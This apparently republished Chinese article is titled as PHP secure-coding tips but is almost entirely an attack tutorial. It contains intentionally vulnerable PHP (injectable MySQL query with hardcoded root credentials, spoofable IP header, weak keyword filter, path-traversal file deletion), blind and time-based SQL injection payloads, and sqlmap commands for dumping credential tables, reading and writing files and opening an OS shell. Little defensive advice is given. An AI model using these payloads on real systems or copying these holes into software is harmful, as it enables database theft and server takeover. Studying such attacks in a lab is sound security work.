PHP安全编码的技巧有哪些?

后端开发   发布日期:2023年06月06日   浏览次数:452

这篇文章主要介绍了PHP安全编码的技巧有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇PHP安全编码的技巧有哪些文章都会有所收获,下面我们一起来看看吧。

PHP 安全编码总结笔记

SQL注入: 代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造,而REMOTE_ADDR则相对更安全,有些应用程序会将对方IP地址带入数据库查询是否存在,例如同一个IP每天只能注册一个账号等,如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址,那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。

  1. <?php
  2. function get_client_addr(){
  3. if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){
  4. $ip = $_SERVER["HTTP_CLIENT_IP"];
  5. echo "HTTP_CLIENT_IP =" . $ip;
  6. }else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){
  7. $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
  8. echo "HTTP_X_FORWARDED_FOR =" . $ip;
  9. }else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){
  10. $ip = $_SERVER["REMOTE_ADDR"];
  11. echo "REMOTE_ADDR =" . $ip;
  12. }else{
  13. $ip = "unknown";
  14. }
  15. return $ip;
  16. }
  17. $addr = get_client_addr();
  18. ?>

SQL注入: 一种使用了过滤的代码,接受的参数经过过滤,字符串会被过滤掉SQL注入的关键字,整数会被强制转换为整数。

  1. <?php
  2. $var = date_default_timezone_get();
  3. echo "当前时区: " . $var . "<br>";
  4. date_default_timezone_set("Asia/Shanghai");
  5. if(!get_magic_quotes_gpc()){
  6. $var = waf($_GET['id']);
  7. echo "过滤后的参数: " . $var;
  8. }
  9. function waf($array){
  10. if(is_array($array)){
  11. foreach ($array as $key => $value) {
  12. $array [$key] = waf($value);
  13. }
  14. }else if(is_string($array)){
  15. $array = addslashes($array);
  16. #$array = str_ireplace("and", "fuck", $array);
  17. $substr = array(
  18. "and" => "fuck you !",
  19. "where" => "fuck you !",
  20. "union" => "fuck you !",
  21. "select" => "fuck you !",
  22. "order" => "fuck you !",
  23. "update" => "fuck you !",
  24. "sleep" => "fuck you !",
  25. );
  26. $array = str_ireplace(array_keys($substr), $substr,$array);
  27. }else if(is_numeric($array)){
  28. $array = intval($array);
  29. }
  30. return $array;
  31. }
  32. ?>

盲注的使用

首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="gbk">
  5. <title>SQL 注入测试代码</title>
  6. </head>
  7. <?php
  8. $connect = mysqli_connect("localhost","root","123","lyshark");
  9. if($connect)
  10. {
  11. $id = $_GET['id'];
  12. if(isset($id))
  13. {
  14. $sql = "select * from users where id='$id' limit 0,1";
  15. $query = mysqli_query($connect,$sql);
  16. $row = mysqli_fetch_array($query);
  17. if(!empty($row))
  18. {
  19. print("查询完成了..");
  20. }else
  21. {
  22. print("查询失败");
  23. }
  24. }
  25. }
  26. ?>
  27. <body>
  28. <?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?>
  29. </body>
  30. </html>

猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.

  1. index.php?id=1' and left(version(),1)=5 --+ // 返回正常,说明版本号是5
  2. index.php?id=1' and (length(database()))=7 --+ // 返回正常,说明数据库名字长度是7
  3. index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,说明数据库第一位是l
  4. index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,说明数据库前两位位是ly,以此类推
  5. index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 验证第一位是否为l
  6. index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+ // 验证第二位是否为y,以此类推

猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.

  1. index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表
  2. index.php?id=1' and (select count(*) from lyshark) >=0 // 存在lyshark表

猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.

  1. index.php?id=1' and (select count(id) from users) >=0 // 返回正常说明存在id字段
  2. index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段
  3. index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中记录数

用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.

  1. index.php?id=1' and (length(user())) >=14 # // 猜测数据库用户名称长度
  2. index.php?id=1' and (select user() like 'root%') # // 猜测用户名
  3. index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-z
  4. index.php?id=1' and (select user() regexp '^r') # // 第一位是r
  5. index.php?id=1' and (select user() regexp '^ro') # // 第二位是o
  6. index.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位

延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.

  1. index.php?id=1' and sleep(5) #
  2. index.php?id=1' and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒
  3. index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒
  4. index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒
  5. index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒

◆sqlmap 命令◆

常用检测命令:

  1. sqlmap -u "./index.php?id=1" -v 3 # 显示攻击载荷
  2. sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别
  3. sqlmap -u "./index.php?id=1" --privileges # 测试所有用户权限
  4. sqlmap -u "./index.php?id=1" --privileges root # 测试root用户权限
  5. sqlmap -u "./index.php?id=1" --all # 查询所有数据库
  6. sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名
  7. sqlmap -u "./index.php?id=1" --is-dba # 判断root权限
  8. sqlmap -u "./index.php?id=1" --users # 枚举数据库用户
  9. sqlmap -u "./index.php?id=1" --random-agent # 随机User-Agent
  10. sqlmap -u "./index.php?id=1" --output-dir="" # 自定义输出目录
  11. sqlmap -u "./index.php?id=1" --file-read="" # 读取文件
  12. sqlmap -u "./index.php?id=1" --file-write="" # 写入操作
  13. sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执行一条命令
  14. sqlmap -u "./index.php?id=1" --os-shell # 交互执行命令
  15. sqlmap -u "./index.php?id=1" --sql-query="" # 执行的SQL语句
  16. sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie
  17. sqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本
  18. sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延时1秒后注入
  19. sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延时3秒后注入
  20. sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有WAF
  21. sqlmap -u "./index.php?id=1" --current-db # 查询当前数据库
  22. sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名
  23. sqlmap -u "./index.php?id=1" --users # 查询所有用户名
  24. sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库
  25. sqlmap -u "./index.php?id=1" --tables # 列出所有的表
  26. sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表
  27. sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称
  28. sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地
  29. sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤
  30. sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump

Cookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.

  1. sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判断注入点
  2. sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名
  3. sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称
  4. sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段
  5. sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜内容

POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.

1.浏览器打开目标地址 http://www.xxx.com/index.php

2.配置burp代理(127.0.0.1:8080) 准备拦截请求

3.点击login表单的submit按钮,或者其他按钮均可

4.这时候Burp会拦截到了我们的登录POST请求

5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit

  1. sqlmap -r post.txt -p id --dbs
  2. Sqlmap -r post.txt -p id -D mysql --tables
  3. Sqlmap -r post.txt -p id -D mysql -T user --columns
  4. sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
  5. sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"

其他漏洞利用

任意文件删除: 执行删除语句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用.

  1. <?php
  2. $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', urldecode(trim($_GET['dir']))) : '';
  3. $dir = str_replace("-", "/", $dir);
  4. $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : '';
  5. $path = "./" . $dir . "/" . $file;
  6. $path = str_replace(array("//"), array("/"), $path);
  7. echo "当前路径是: " . $path . "<br>";
  8. if (file_exists($path)) {
  9. if (unlink($path)) {
  10. echo "删除完成..";
  11. } else {
  12. echo "删除失败..";
  13. }
  14. }
  15. ?>

以上就是PHP安全编码的技巧有哪些?的详细内容,更多关于PHP安全编码的技巧有哪些?的资料请关注九品源码其它相关文章!